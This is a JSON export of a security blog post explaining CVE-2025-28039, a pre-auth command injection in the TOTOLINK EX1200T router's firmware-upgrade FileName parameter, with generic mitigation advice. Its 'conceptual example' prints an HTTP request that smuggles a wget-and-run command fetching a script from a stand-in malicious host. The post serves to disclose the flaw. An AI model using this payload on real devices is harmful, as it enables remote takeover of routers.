{"id":33419,"date":"2025-04-29T00:52:17","date_gmt":"2025-04-29T00:52:17","guid":{"rendered":""},"modified":"2025-06-19T23:18:42","modified_gmt":"2025-06-20T05:18:42","slug":"cve-2025-28039-pre-auth-remote-command-execution-vulnerability-in-totolink-ex1200t","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28039-pre-auth-remote-command-execution-vulnerability-in-totolink-ex1200t\/","title":{"rendered":"<strong>CVE-2025-28039: Pre-Auth Remote Command Execution Vulnerability in TOTOLINK EX1200T<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is fraught with evolving threats and vulnerabilities, one of which is the recently discovered CVE-2025-28039. This vulnerability affects TOTOLINK EX1200T V4.1.2cu.5232_B20210713 and could potentially lead to a pre-auth remote command execution. As such, it is a significant concern for network administrators, cybersecurity professionals, and users of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5600-critical-vulnerability-in-totolink-ex1200t-opens-gateway-to-remote-attacks\/\"  data-wpil-monitor-id=\"59068\">TOTOLINK EX1200T<\/a> routers.<br \/>\nThis <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28197-ssrf-vulnerability-in-crawl4ai-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"37937\">vulnerability matters because it can lead to system<\/a> compromise and data leakage. Given the severity score of 9.8, it poses a <a href=\"https:\/\/www.ameeba.com\/blog\/emerging-cybersecurity-risks-in-apac-critical-insights-for-businesses\/\"  data-wpil-monitor-id=\"46568\">critical risk<\/a> that requires immediate attention and mitigation.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-28039<br \/>\nSeverity: Critical (9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/yale-new-haven-health-system-data-breach-a-comprehensive-analysis-of-a-cybersecurity-breach-impacting-5-5-million-patients\/\"  data-wpil-monitor-id=\"39445\">System compromise and data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-572234479\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5793-critical-buffer-overflow-vulnerability-in-totolink-ex1200t-4-1-2cu-5232-b20210713\/\"  data-wpil-monitor-id=\"59980\">TOTOLINK EX1200T<\/a> | V4.1.2cu.5232_B20210713<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of a vulnerability in the setUpgradeFW function through the FileName parameter of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28034-remote-command-execution-vulnerability-in-totolink-wireless-routers\/\"  data-wpil-monitor-id=\"39444\">TOTOLINK<\/a> EX1200T. Specifically, an attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-53303-remote-code-execution-vulnerability-in-lrqa-nettitude-poshc2\/\"  data-wpil-monitor-id=\"38060\">execute arbitrary commands remotely<\/a> without requiring authentication. This is possible because of the lack of proper <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30391-microsoft-dynamics-input-validation-vulnerability-leading-to-unauthorized-information-disclosure\/\"  data-wpil-monitor-id=\"42610\">input validation<\/a> and sanitization in the FileName parameter used in firmware upgrades.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2547910579\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47154-exploitation-of-use-after-free-vulnerability-in-libjs-in-ladybird\/\"  data-wpil-monitor-id=\"42611\">vulnerability might be exploited<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/setUpgradeFW HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;FileName&quot;: &quot;; wget http:\/\/malicious.com\/malicious_script.sh -O \/tmp\/malicious_script.sh; sh \/tmp\/malicious_script.sh;&quot; }<\/code><\/pre>\n<p>This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32958-critical-adept-language-vulnerability-allowing-malicious-code-execution\/\"  data-wpil-monitor-id=\"38246\">code sends a POST request to the vulnerable<\/a> endpoint, injecting a command into the FileName parameter. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29905-sql-injection-vulnerability-in-telecontrol-server-basic-potentially-compromising-entire-systems\/\"  data-wpil-monitor-id=\"38144\">injected command downloads a malicious script from a remote server<\/a> and executes it on the target system, thus potentially compromising it.<\/p>\n<p><strong>Mitigation Measures<\/strong><\/p>\n<p>The recommended mitigation measure for CVE-2025-28039 is to apply the vendor patch as soon as it&#8217;s available. In the meantime, network administrators can use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation <a href=\"https:\/\/www.ameeba.com\/blog\/hungarian-government-s-cybersecurity-measures-unpacking-the-implications-and-potential-solutions\/\"  data-wpil-monitor-id=\"59069\">measures to help protect against potential<\/a> exploits. Regularly updating and patching your system, as well as employing strong <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32953-security-vulnerability-in-z80pack-emulator-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"40433\">security measures such as intrusion detection systems<\/a> and firewalls, can help protect your network from such vulnerabilities.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is fraught with evolving threats and vulnerabilities, one of which is the recently discovered CVE-2025-28039. This vulnerability affects TOTOLINK EX1200T V4.1.2cu.5232_B20210713 and could potentially lead to a pre-auth remote command execution. As such, it is a significant concern for network administrators, cybersecurity professionals, and users of TOTOLINK EX1200T routers. This vulnerability [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-33419","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/33419","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=33419"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/33419\/revisions"}],"predecessor-version":[{"id":53667,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/33419\/revisions\/53667"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=33419"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=33419"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=33419"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=33419"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=33419"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=33419"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=33419"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=33419"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=33419"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}